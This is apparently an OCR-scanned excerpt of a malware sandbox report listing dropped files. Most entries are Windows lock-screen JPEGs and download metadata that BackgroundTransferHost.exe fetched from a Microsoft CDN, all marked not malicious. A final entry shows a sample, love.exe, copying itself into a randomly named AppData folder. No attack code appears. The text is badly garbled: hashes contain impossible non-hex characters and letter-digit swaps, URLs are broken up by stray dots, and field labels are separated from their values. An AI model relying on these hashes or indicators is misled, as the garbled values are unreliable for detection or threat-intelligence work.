File Type: JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe
Photoshop 21.1 (Windows), datetime=2022:03:02 13:23:15]

Category: dropped
Size (bytes): 1660833

Entropy (8bit):  6.930794506164581

Encrypted: false

SSDEEP: 24576:+4jNiVragksnz807k9ZIIEKBcI/prV/RmIGoGalKZTOsePRxaAxS2+gPu/Zj:+4jNiVraquOfrZfWxaaqgG/Zj

MD5: 2CD6B59B5F9ID8E356D332AA2E645CAFF

SHA1L: A981FFE89ABEC691AB4E5DAD320832D3236ECC12

SHA-256: 3E97C246B7A8DFB0590215FC3C7236583D4AFDFEF0315D89770BB8FE7305DF1C

SHA-512: CB2A41C198ED4D119ABADA123A96359E923864E73AD3F937DA5DBOAB679C3095AD8E7608DBC737C433B417214716F08450D78FACCB395790B0249C4C6AE128
8

Malicious: false

Preview: *.Adobe Photoshop 21.1 (Windows).2022:03:02 13:23:15

AdODE.G ...

B#.R..3%b.r.CS.cs4.%..
......... 2 Wo_n L Wik * £ Y7 +.9.0b5

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\430a4b29-2651-

477a-902b-258ae5794d94.fbbbb2e4-b451-44f5-a8b9-b8f8907b6cc3.down_meta

Process: C:\Windows\System32\BackgroundTransferHost.exe
File Type: data

Category: dropped

Size (bytes): 1224

Entropy (8bit):  3.6087381764896045

Encrypted: false

SSDEEP: 24:LLVR2MRIi2XpjgWzgxjX+vUViwKoBiO1+H9J T+ltsafxOc2CpX3QbGkupNT:LLD2mRIi2XpjPgVX+v8i4BxiJetrfelXv

MD5: 47FEFFA9B8C62B41B59E1A159116F712

SHA1L: B98DDEFF3F9B609FF1E74ED902E9A2C49C535704

SHA-256: FDC38FABC58C506152D940DBAD1D6438AA34C69B92D8EC384349178878707D5E

SHA-512: 96D49702ACE7D92745DDFFDAB79713A11C2EA47FFF58AB06941F4DD592479E8BD3C123DF3498EE60402B2099BF6BO6ABD875D9705461AE5982E5EDB18CC42A
8

Malicious: false

Preview: h.ttp.s..//lim.g.-p.r.od.-cms.-rt-micr.o.s.o.ft-com..akama.ized.net/cms/lap.ilamlimag.eF.ileData/RWyW.La?ver=528.9..C.o.

nte.n.t.-Ty.p.e.. .imag.e./jp.e.g..Acc.ess.-C.ontrol-AllLow.-0O.rig.in.: *.Content-Lo.cation.: https./limage.p.ro.d.cms..rt.m.i
c.r.o.s.oft..com/cms./ap.ilam./ima.g.eF.ileD.ata/RWyW.Lla?ver=52809.Last-Mo.dified.: Tue., 21 Jun. 2022 .0.7.:.16.:.43..G.
M.T..X.-S.o.ur.ce.-L.eng.th. 6.26.36.9.X-Datac.enter.: .northeu.X-Activity.ld.. .8.e.f8.f56.0.-8.0.6.a.-.4.b.f.d.-9.0.5.6.-.6.9.8.2.4.3.d.6.
5.2.7.1..T.i.m.i.n.g.- AllLow.-O.rig.i.n.. *.X-Fram.e.-O.p.tio.ns... .D.ENY..X-ResizerV.ers.ion. 1..0..Content-Length.: 6.26.36.9..
C.a.c.h.e.-.C.o.n.tro.l:. .p.ub.Li

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\430a4b29-2651-

477a-902b-258ae5794d94.up_meta

Process: C:\Windows\System32\BackgroundTransferHost.exe
File Type: data

Category: dropped

Size (bytes): 276
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Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

3.4235413643915305

false
6:ZyncUkamOwhg2YMYtHSMLhU7IBSIIHGSMX6YXKMWEQihJp:ZxMghwLtHSM1Sh9ImSMXAv8
D744A1FD68C1F5CF59A7D9FB8D165224
1DC63A9DDE1F45761252DC36438090F07152F282
4F8AED38EF7D4631C47F2B19DOFDEBADB913D124A9BD1AA618EAA2F47A024825

3F18FE585B9C88BBA16067115AFBB332B29E35C4E3F1836FEE01C4D252D465C9126C4AC5BC3F33981FB15EC1ICICC6A5ABACABDF2A936A9B6794CC50F38A98
E1D

false

F.4.2.0.C4E.A-4.26.1.-4B.6.6.-8.B.9.C.-E.AA8.C.C.C9.6.AD.E..G.ET..https.../[im.g.-p.r.o.d.-.cms.-rt-m.i.c.r.o.s.o.ft-c.om..akam.a.ize.d.net/cm.
s.la.p.ilam./ima.g.e.FileD.atal/RWyW.La?ver=52809......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\6486abc6-524b-

40c1-9f00-142b9ef8a300.1434b2ac-40d2-4c42-ad75-b6336bbaea77.down_meta

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Windows\System32\BackgroundTransferHost.exe

data

dropped

1230

3.6109615927656407

false
24:LLVR2mRiwmXpjgWzgxjX+vUViwNBKf1+DysafxOc2CpX3K0bQdzupNT:LLD2mRi3XpjPgVX+v8ioBKNPrfelX3KU
902F917235300D9CCE35555B62AA3577

EE3DEAC4FAC475CCA337723F1D93352BA7469955
B45B1F6EB957CF5C4B707B665971A944065D9634DA8BE6C759FADEAB3D5BF6090

AFEC978E65824EC3509DFC89457A24B752348DB94D24F4281181E855D1CADB818C7760F491ACB3CC49A3932695B5D1730AB0B95COFEG53154CCAAACB57EFBY
8

false

h.ttp.s../lim.g.-.p.ro.d.-.cms.-rt-mic.ro.s.o.ft-com.akamaized.net/cmslap.ilam/limag.eF.ileDatal/RE4PIlTB?ver=2a94..C.
o.nte.nt-Ty.p.e. .imag.eljp.eg..Ac.cess.-.Control-AllLow.-0O.rig.in. *.C.o.ntent-Lo.cation. https..//limag.e.p.ro.d.cms..rt.m.
icro.s.o.ft.com/cms/ap.ilam/limageFileD.atalRE4P.LTB?v.er=2a94.Last-Modified.: .Sun.,. .1.9..Jun. .20.22. .06.:.45.:11
.G.M.T..X.-S.o.ur.ce.-.L.ength.: .1.6.6.08.3.3..X.-.D.atac.enter. .northeu.X-Activity.ld.: 50.f3.dfeb.-4.cfe.-46.75.-b.e.0.8.-a.c.0.c8.
4.c.a.d.6.b.0..T.im.ing.-AlLow.-0Ourig.in.: *.X-Frame.-O.p.tions.: DENY..X-ResizerV.ers.ion.: 1.0..Content-Len.gth.: .16.6.0.
8.3.3..C.a.c.h.e-.Co.ntro.l:. .p.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\6486abc6-524b-

40c1-9f00-142b9ef8a300.up_meta

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\BackgroundTransferHost.exe

data

dropped

278

3.3894363370336076

false
6:ZyncUkamOwhg2YMYtHSMLhU7IBSIIHGSMX6YXKMwWEQwRct:ZxMghwLtHSM1Sh9mSMXAvwWR
A27F678F172C642E24DE4740C5B2DBC3

36444729D96B371E3B182455FD5416A724875FF3
BF27499FEA1EC1D167352764D5DE5CC87FCE82683C3F8CDB3E3A19086DEC5C82
7846A476F6349EB719D781B6F529DCAAB21140067A54756A3C51E695B20E4C5FF74F5CA798181023D22860E9EA36CIE452EC003AB8A1B242033EB43F3EFAG27F
false

F.4.2.0.C4E.A.-4.26.1.-4B.6.6.-8.B.9.C.-.E.AA8.C.C.C96.AD.E..GET.. .https..//img.-.p.r.o.d.-cms.-rt-m.ic.r.o.s.o.ft-com..akam.a.ize.d.net/cm.
s.la.p.ilam/imag.eF.ileD.atalRE4PIlT.B?2ver=2a94......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\7e696cb3-0cfd-

4f21-ab53-c71d1e437ead.cf472a07-1571-440b-ba5b-5d9bc392dcal.down_meta

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Windows\System32\BackgroundTransferHost.exe
data

dropped

1228

3.5995533142059863

false

24:LLVR2mRikmXpjgWzgxjX+vUVikgtBK1cD1+lhD6safxOc2CpX3K1cQbbGEupNP:LLD2mRikmXpjPgVX+v8ikWBK1qge6rfek
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MD5: DA39CDEAE0008403027F1EOADSSE27FE

SHA1L: 5C5E00EA731F74BA31E6988EBB70F69EE2AF7CEF

SHA-256: 65AD7788B890861F22BFB40694225748EAFEA625724AD308635ECCACS54E648A5

SHA-512: 2DFB40E31A2C3FC4C1AB21D6EEBC94162AF0FC8739F7AA21B7DD1CIF4AB2A7047F6E35D8D49F2ED57FF62D756B61A30C0C6819A3C76D04FD5C3DC8607FDD
341

Malicious: false

Preview: h.ttp.s..//lim.g.-.p.r.o.d.-.c.m.s.-r.t-mic.r.0o.s.0.ft-.com..akama.ized.net/cms/ap.ilam/limag.eF.ileD.ata/RW.N.euW.?ver=7a.c.b..C.o.

n.te.n.t.-Ty.p.e.. .imag.e./jp.e.g..Acc.ess.-C.ontrol-Allow.-0O.rig.in.:. *.C.o.nte.n.t-.L.o.ca.tio. /i.m.a.g.e..p.r.o.d...c.m.s...r.t..m.i.
c.r.o.s.o.f.t..com/cms./ap.ilam./ima.g.eF.ileD.ata/RW.N.euW.?ver=7a.c.b..Las.t-Mo.d.ifie. .2.0. J.un. .2.0.2.2..1.1.:.4.7.:.25. .G.
M.T..X.-S.o.ur.cee.-L.eng.th. 1.6.2956.3..X.-D.atac.enter. .northeu.X-Activityld.: 4b72af3b.-aafl-46.b.a-b.6.15.-4c.ae.3.9.d
b.5.5.7.9..T.im.i.n.g.-. AllLow.-O.ri.g.i.n.;. *..X.-F.ram.e.-O.p.tio.ns... .D.EN.Y..X-R.es.izerV.ers.io.n. .1..0..Co.ntent-Length: .16.295.6.3..Ca.c.
h.e.-.C.o.n.tr.o.l:. .p.u.b.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\7e696cb3-0cfd-

4f21-ab53-c71d1e437ead.up_meta

Process: C:\Windows\System32\BackgroundTransferHost.exe
File Type: data

Category: dropped

Size (bytes): 276

Entropy (8bit):  3.4262764640370493

Encrypted: false

SSDEEP: 6:ZyncUkamOwhg2YMYtHSMLhU7IBSIIHGSMX6YXKMWEQIij1XLpK:ZxMghwLtHSM1Sb9mSMXAVOF1K

MD5: A36E70E61E4C3A85E0CF6D165DBEBACB

SHA1L: 5140FC05512B94604A1E3054960C8C01C60049DE

SHA-256: 73B6DB82ABAFA954579AD46F6BIC8FDOFB21A50CA591351BFAFE217EBGEDSFE9

SHA-512: 648E334CD8A7C9837F224E98C60EBF5D864ACE1D280AA76DDAF9651905111EA1481D5D5BC293CA27869978B748A335EDCAAABELFIDI7FI163826EC5A709086!
8

Malicious: false

Preview: F.4.2.0.C.4E.A.-426.1.-4B.6.6.-.8.B.9.C.-.E. AA8.C.C.C.9.6.AD.E..G.ET..https.../[im.g.-p.r.o.d.-cms.-rt-m.ic.ro.s.oft-com.akama.ized.net/lcm.

s.lap.ilam/imag.eFileD.atal/RW.NeuW?ver=7acbh.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\989c555b-4bd2-

4b2a-899f-852684d8d727.down_data

Process: C:\Windows\System32\BackgroundTransferHost.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1920x1080, frames 3
Category: dropped

Size (bytes): 626369

Entropy (8bit):  7.905603847332052

Encrypted: false

SSDEEP: 12288:TYjW1s3DpZyHmS2icm2iOFn/XrLwcWIkeNbMH4f8RApXFDmSuwcyu9k5nPBIhsI3:AlZyHmnLiO/XrUFbG4EepXEvku9k5PBx

MD5: 715FFF6881F2500875E90E3F24E247B9

SHAL: 78A5C00C95603F96AA829D662E7AD99914BB3716

SHA-256: 048A00CE67356DDID5962EFC7B4C3032D012DC0OA752777819BBCABESBC7AE924

SHA-512: 971EE42DA881CD8E5197E7D8AEOD8340D259F92F882C056B39FCFIEED3929EBC8A65EE6B0B5345B5222F08DD50E1300E934977942E0980BAES91A1B51BF51EE
B

Malicious: false

Preview: C

%8&'()*456789:CDEFGHIISTUVWXY Zcdefghijstuvwxyz.
.aq."2...B.... #3R..br...$4.%.....&'()*56789: CDEFGHIJSTUVWXY Zcdefghijstuvwxyz..
.ugl....e....0.WIJu/?..%;...\~5..l..k.+}..4..4....0Y..F.6..Pr..z..78..A...0....51..w.Lh.....n.LM...G.K<..b}B.....
NP 2,098 [Am.._dn.A,

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\989c555b-4bd2-

4b2a-899f-852684d8d727.fbbbb2e4-b451-44f5-a8b9-b8f8907b6cc3.down_meta

Process: C:\Windows\System32\BackgroundTransferHost.exe
File Type: data

Category: dropped

Size (bytes): 1224

Entropy (8bit):  3.6087381764896045

Encrypted: false
SSDEEP: 24:LLVR2mRi2XpjgWzgxjX+vUViwKoBiO1+H9JT+ltsafxOc2CpX3QbGkupNT:LLD2mRi2XpjPgVX+v8i4BxiJetrfelXv
MDS5: 47FEFFA9B8C62B41B59E1A159116F712
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SHAL: BO98DDEFF3F9B609FF1E74ED902E9A2C49C535704

SHA-256: FDC38FABC58C506152D940DBAD1D6438AA34C69B92D8EC384349178878707D5E

SHA-512: 96D49702ACE7D92745DDFFDAB79713A11C2EA47FFF58AB06941F4DD592479E8BD3C123DF3498EE60402B2099BF6BO6ABD875D9705461AE5982E5EDB18CC42A
8

Malicious: false

Preview: h.ttp.s..//im.g.-.p.r.o.d.-.c.m.s.-.r.t.-mic.r.o.s.0.ft-.c.om..akama.ized..net/cmslap.ilamlimag.eF.ileD.ata/RWyW.L.a?ver=528.9..C.o.

n.te.n.t.-Ty.p.e.. .imag.e./jp.e.g..Acc.ess.-C.o.ntrol-AllLow.-0O.rig.in.:. *.Co.ntent-Lo.catio.n. https.//limag.e..p.r.o.d..cms..rt.m.i
c.r.o.s.o.ft..coom/cms./ap.ilam./ima.g.eF.ileD.atal/RWyW.L.a?ver=52809.Las.t-Mo.dified.: Tue.,. .21 Jun. 2022 .0.7.:.1.6.:.4.3. .G.
M.T...X.-S.o.ur.cee.-L.e.ng.th.. .6.26.36.9.X-Datac.e.nter.: . northeu.X-Activity.ld.. .8.e.f8.f56.0.-.8.0.6.a.-.4.b.f.d.-.9.0.5.6.-.6.9.8.2.4.3.d.6.
5.2.7.1..T.im.in.g.- AllLow.-O.rig.i.n... .*.X-Fram.e.-O.p.tio.ns... D.EN.Y..X-Res.izerV.ers.ion. 1..0..Co.ntent-Length. 6.2.6.36.9..
C.a.c.h.e.-.C.o.n.tr.o.l:. .p.u.b.Li

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\a849727c-2c4c-

4332-bbdc-bc91897b6e49.acb309b0-acb2-458c-b26d-efdacdb577f4.down_meta

Process: C:\Windows\System32\BackgroundTransferHost.exe
File Type: data

Category: dropped

Size (bytes): 1224

Entropy (8bit):  3.616822270337392

Encrypted: false

SSDEEP: 24:LLVR2mRIiY 1xXpjgWzgxjX+vUViY1zL BK1+ZesafxOc2CpX3jbbWIzupNT:LLD2mRiY1xXpjPgVX+v8iY1PBgoerfeD

MD5: 25398C3DD5033D4BOFBE681FC856CD76

SHAL: 1F5D66D565B16ACA055085B9E8943DEB47FDO8DF

SHA-256: DA65B35871D51F6F6CFA27CB47C1D80122582FF042D6D7D355479C2E1E078702

SHA-512: 76E751707ECC79E6479B8416C41962C2BESC673B60EB1AABO5FA344BE9ID8A337A29730630BFE329285DD8946DFD58EA474F3CB149A445F85DAES514C31D39D2¢€
Malicious: false

Preview: h.ttp.s../lim.g.-.p.rod.-.cms.-rt-mic.ro.s.o.ft-com.akamaized.net/cmslap.ilam/limag.eF.ileDatal/RWz7W.V.?2v.er=74.04..Co.

nte.nt.-Ty.p.e.. .imag.e./jp.eg..Ac.cess.-.C.ontrol-AlLLow.-.0O.rig.in.: *.Co.ntent-Lo.cation.: https.//lima.g.e.p.r.o.d.cms.rt.mi
cr.o.s.o.ft..com/cmslap.ilam/imag.e.F.ileDatal/RWz7W.V.?2ver=74.04..Las.t-Mo.dified.: M.o.n.,. .2.0..J.un..2.022..0.6..3.2.:.05..G.
M.T..X.-S.o.urc.e.-Length.. 6.1.3.4.16..X-Data.c.e.nter.: northeu.X-Activity.ld.: .1.3.b.9.0.3.2.1.-.a.8.54.-.4.55.7.-9.9.c.9.-.6.1.2.6.6.d.0.3.
c.fo.f. .Tim.ing.-AlLLow.-.Orig.in.: *.X-Frame.-O.p.tions.. .D.ENY..X-Res.izerV.ers.ion. .1.0..Co.ntent-Len.gth.: .6.134.16..Cache.
-.C.o.n.tro.li. .p.ub.li.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\a849727c-2c4c-

4332-bbdc-bc91897b6e49.down_data

Process: C:\Windows\System32\BackgroundTransferHost.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1080x1920, frames 3
Category: dropped

Size (bytes): 613416

Entropy (8bit):  7.912990522723283

Encrypted: false

SSDEEP: 12288:+W9mFoCbhgADF2QAtCCJIbiKWHJIEC3PHEVVD25rrEbGeH1cV:t9mIbBFBA8gyHxfkS/DeH1G

MD5: 5DB4BE8BAFFDCD424BC80C5335BA32890

SHA1L: 97BA2A3E3D9839AA5COC1F9654BOES3240CD9EFO

SHA-256: 6FB0O8BA074095C8FEA7CDB834914F46EE6C7D8682C49AB90211B981D88F83FB6

SHA-512: 856187A9A2EECB4458DE9B24E48322F416E48ECF5B00A9B1047E3A8D52E86F83F70B55E147A8C4F1CD8BF41D23F2AA71251F2D92CA89AAB939FB446D17F570C
C

Malicious: false

Preview: L LIFIF G Cotrvreeeeeiieens .11A.Qa."q.
2...#B..R..$3br........%&'()*456789: CDEFGHIJSTUVWXY Zcdefghijstuvwxyz. LW 11LAQ

.ag."2...B.... #3R..br..$4.%

...................... 2. NV FRLLF.. LK Z W+ * k2f
_2...NjM..U[M?.b.M.D.i.0v."...j..v]..hCH#-..}4%..N)U.-7Tm.2.6.......2.T5.v.(F.i7.v.UJ..
M.G.jEIV.Sr.YJ.mJ..J7..0.. yt.X..Jr..,u"€& @D.OX.ULS.NZCQF W.E....g. #).QI[....W.M.2.v.e.L.....)6.Q7{S........m1."S..F..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\c3408038-693e-

4317-9a77-dcdd2bc66326.697aebbe-a821-43f2-a21c-ef6616216e51.down_meta

Process: C:\Windows\System32\BackgroundTransferHost.exe
File Type: data

Category: dropped

Size (bytes): 1228

Entropy (8bit): 3.6020584302895546
Encrypted: false
SSDEEP: 24:LLVR2mRipY XpjgWzgxjX+vUVip+gBKol+uSlz1nsafxOc2CpX3KZbbOOupNT:LLD2mRIiiXpjPgVX+v8i7BKS/StrfelXI
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MD5:
SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

FOC20E7750BE60C8A0AF53FD69CE8450
4179EDE47EBOC2F1515B13BCFB703E39280BC965
277D122E45CC7ECE397E78DF7E829BDD5591741780E6AC913BEEECE103DB2ACD

CDOF5BF21E2E737B87B296CA7EE8AG835FB2AFC1FEEEC35FB4AC2ESECO3ACICBC087F703FEA9BCSEF33B58FA0800414F121B4713021D1769CD59ABBFBCFC
6474

false

h.ttp.s..//lim.g.-p.r.o.d.-c.m.s.-r.t-mi.c.r.o.s.0.ft-.com..akam.a.ized.net/cms/ap.ilam./imag.eF.ileD.ata/RWMY.JF.?v.er=el05..C.o.
n.te.n.t.-Ty.p.e...i.mag.e./jp.e.g..Acc.ess.-C.o.ntrol-AllLow.-0O.rig.in.:. *.Co.ntent-Lo.catio.n. https.//limag.e..p.r.o.d..cms..rt.m.i
c.r.o.s.o.ft..com/cms./ap.ilam./ima.g.eF.ileD.ata/RWMYJF?ver=el0.5.Last-Mo.dified.: Mo.n.,. .20..Jun. 2022 .11.:47.:2.2..G.
M.T...X.-S.o.ur.ce.-L.e.ng.th.. 1.68.156.3..X.-D.atac.e.nter.:. .northeu.X-Activityld.:. 412fd4.d.7.-b.0.2.e-4.0.a.b.-8.c.3.1.-.1.6.7.c.4.0.e.
2.0.4.b.8..T.im.i.n.g.-Allow.-.O.ri.g.i.n... *.X.-Fram.e.-O.p.ti.o.ns... D.EN.Y..X-R.es.izerV.ers.io.n.. .1.0..Co.ntent-Length: . .16.8156.3..Ca.c.
h.e.-.C.o.n.tr.o.l:. .p.u.b.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\c3408038-693e-

4317-9a77-dcdd2bc66326.down_data

Process:

File Type:

Category:

Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Windows\System32\BackgroundTransferHost.exe

JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe
Photoshop 21.1 (Windows), datetime=2021:08:05 13:40:50]

dropped

1681563

6.942811373807497

false
24576:WZ0ZgdC81bzcXqdcBk8ZX+EyfcC/Lru/ROIGScgVuBX8fXBst6lz7E7IIQ:sdC81bzpcO7Zsez 7K+
6502016B13B9651ADBAED135F1E87FF4

BC2BD5878B560E2B755437DA96222155C6E17FC6
02EOE39983B1826AA3E7DC06FB20D9B573A0CFC78081D187761E2BI9BE4F1FCB4

C3AA8COFE7DACF3F5BE7BDCFF21211E33038CF3099F57459074CA377C74C47F305007EDBD4E2DB2BA71A7D41BEG54824FFBBF7A8ADDBA3D3CB781E71F201C
85D

*.Adobe Photoshop 21.1 (Windows).2021:08:05 13:40:50..
AdODE.

.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\cf6606b1-caf4-

4a34-809c-4ea9b905a23f.cf472a07-1571-440b-baSb-5d9bc392dcal.down_meta

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\BackgroundTransferHost.exe

data

dropped

1228

3.5995533142059863

false
24:LLVR2mRikmXpjgWzgxjX+vUVikgtBK1cD1+hD6safxOc2CpX3K1cQbbGEuUpNP:LLD2mRikmXpjPgVX+v8ikWBK1qge6rfek
DA39CDEAE0008403027F1EOADS5E27FE

5C5E00EA731F74BA31E6988EBB70F69EE2AF7CEF
65AD7788B890861F22BFB40694225748EAFEA625724AD308635ECCACS54E648A5

2DFB40E31A2C3FC4C1AB21D6EE8C94162AF0FC8739F7AA21B7DD1COF4AB2A7047F6E35D8D49F2EDS57FF62D756B61A30C0C6819A3C76D04FD5C3DC8607FDD’
341

false

h.ttp.s..//lim.g.-p.r.od.-cms.-r.t-mic.r.o.s.o.ft-com..akama.ized.net/cms/lap.ilamlimag.eF.ileD.ata/RW.N.euW.?ver=7a.c.b..C.o.
nte.n.t.-Ty.p.e.. .imag.e./jp.e.g..Acc.ess.-C.ontrol-AllLow.-0O.rig.in.: *.Content-Lo.cation. https.//limage.p.ro.d..cms..rt.m.i
c.r.o.s.oft..com/cmslap.ilam./ima.g.eF.ileD.ata/RWN.euW.?ver=7ac.b.LlLast-Mo.difie.d.: Mo.n,. .20. Jun..20.22. .1.1.:47.:.25. .G.
M.T..X.-S.o.ur.ce.-L.eng.th.: 1.6.2956.3..X.-D.atac.enter.. northeu.X-Activityld.: 4b.72af3b.-aafl-46.b.a-b.6.15.-4c.ae3.9.d
b.5.5.7.9..T.im.in.g.-. AllLow.-O.rig.i.n.;. *..X.-Fram.e.-.O.p.tio.ns... . D.ENY..X-Res.izerV.ers.io.n. 1..0..Co.ntent-Length: .16.295.6.3..Ca.c.
h.e.-.C.o.n.tr.o.l:. .p.u.b.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\cf6606b1-caf4-

4a34-809c-4ea9b905a23f.down_data

Process:

File Type:

Category:
Size (bytes):

C:\Windows\System32\BackgroundTransferHost.exe

JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe
Photoshop 21.1 (Windows), datetime=2021:08:05 13:42:25]

dropped
1629563
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Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

6.884323042225001

false
24576:j4iNiVr4glVKCTODK4ZErEKBcR/0rV8R0OJGo+1VUxH7rfFrZr+OASpvnL+elcrrp:j4jNiVr4gJOn6tlr+OAWnNhicimo
14509197F66BEOB6F7DC10401B72B229

OF42C7FDFEA5FAA8D165B6B2EOEFD3CEBEOA5D63
C3C3B861F972F9ABAB759F8CEBBABEOC8C5F46839816D5E545D0F8CC141051CA

6A67DA02B74415B0B08027E3C35B0953E1003CESEBA99815729B38A98C5B01CF332F96E5D34C2E12F6BFOAEBA4332394D6ES5CD356DEFBEODSD1DB537C05564
E4

false

...... EXif.MM.* e b G L r 20l WAdobe Photoshop 21.1 (Windows).2021:08:05 13:42:25......ceeeeieieeeeen Bue

AdODE.G. ...
1.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F' .

&5..D.T..dEUG6te....u..F.............. Viv........ TGWOW.....oocvvnes ?...[.+k...6c.=6=..0k..m....g....].L

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\ec96012e-13df-

4743-afab-8633c6def4as.1816c152-22b6-479b-9224-4bb133e865b6.down_meta

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Windows\System32\BackgroundTransferHost.exe

data

dropped

1230

3.6129614958525598

false
24:LLVR2mRiw5CuXpjgWzgxjX+vUViw52B41+38dQbrczsafxOc2CpX3JbprsupNT:LLD2mRi+1XpjPgVX+v8i+2BiNyQrfelx
E3F32224CB3274C3667255DFD5A01570

E5B46BC0A852B5368E53429838E91CF621ACBEGS
C91CCC452891EE71E86DE4E81808AB55CA61E7414794C7218BD3D0F940F00B1F

02FA4516E6D85F03FD3D7BCA1B6722BB2AD55D405CDAGCAAGFA4733A3E339488CFI1F6CD17214B786C54489F53CC06DB68AB2BA844704DOEFD8CACBAGGODAC
AE3

false

h.ttps..//lim.g.-p.r.od.-cms.-rt-microsoft-com.akama.ized.net/cms/ap.ilam/limag.eF.ileD.atal/lRE4Pw.e,j?v.er=cbhf0..C.
o.nte.nt-Ty.p.e. .imag.eljpeg.Access.-Control-AllLow.-O.rigin.: *.Content-Lo.cation. https.//limag.e..p.ro.d.cms.rt.m
i.cros.o.ft.com/cms/anp.ilamlimag.eFileDatal/RE4Pwej?ver=cbf0.Last-Modified.: Sun.,. .19 Jun. 2022 .06..45.:11.
.G.M.T..X.-S.o.urce.-Length: .170.8.8.65..X-Datacenter.:. northeu.X-Activityld.: 477c.c7.e8.-7f9.d.-4ef9.-9ee3.-3e374
3.4.4.achbe.Timing.-AlLow.-O.rig.in.: *.X-Frame.-O.ptions. DENY..X-ResizerV.ersion.: 1.0.Content-Length: .17.08.
8.6.5..C.a.c.h.e-.Coo.ntro.l:. .p.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\ec96012e-13df-

4743-afab-8633c6def4ad.up_meta

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\BackgroundTransferHost.exe

data

dropped

278

3.422473556620063

false
6:ZyncUkamOwhg2YMYtHSMLhU7IBSIIHGSMX6YXKMwWEQwRKaMAo04:ZxMghwLtHSM1Sh9mSMXAvwR/M
053A6748354C63633E9F064D374A3D64

F7392A988C29192C2DBB9192931C98C346A03B46
1867022FBB28FC2A1F79ED84CFA93EFEE48C33EF120A7976E594BD497DA2ED3F

175DB5E34D5D66ABCBA2DC76ADF44978A26A70A5CCEA46FF96D3EC85F4F34BA0B571785C3A912E87FD3D194F101339B2D0E988D4A611FFA91FOAC9204BDES
65

false

F.4.2.0.C4E.A-4.26.1.-4B.6.6.-8.B.9.C.-.EAAA8.C.C.C96.AD.E.GET. . https..//img.-.p.r.o.d-cms.-rt-m.ic.r.o.s.o.ft-com..akam.a.ize.d.net/cm.
s.la.p.ilam./ima.g.eF.ileD.atal/RE.4Pw.ej?ver=chf0.....

C:\Users\user\AppData\Roaming\Mgfknof\Grjwvl.exe v@

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

Encrypted:

C:\Users\user\Desktop\love.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
dropped

25600

5.472164055618424

false
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SSDEEP: 768:iflViX4lwkvDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDYL:it9vVDDDDDDDDDDDDDDDDDDDDDDDDDDDI

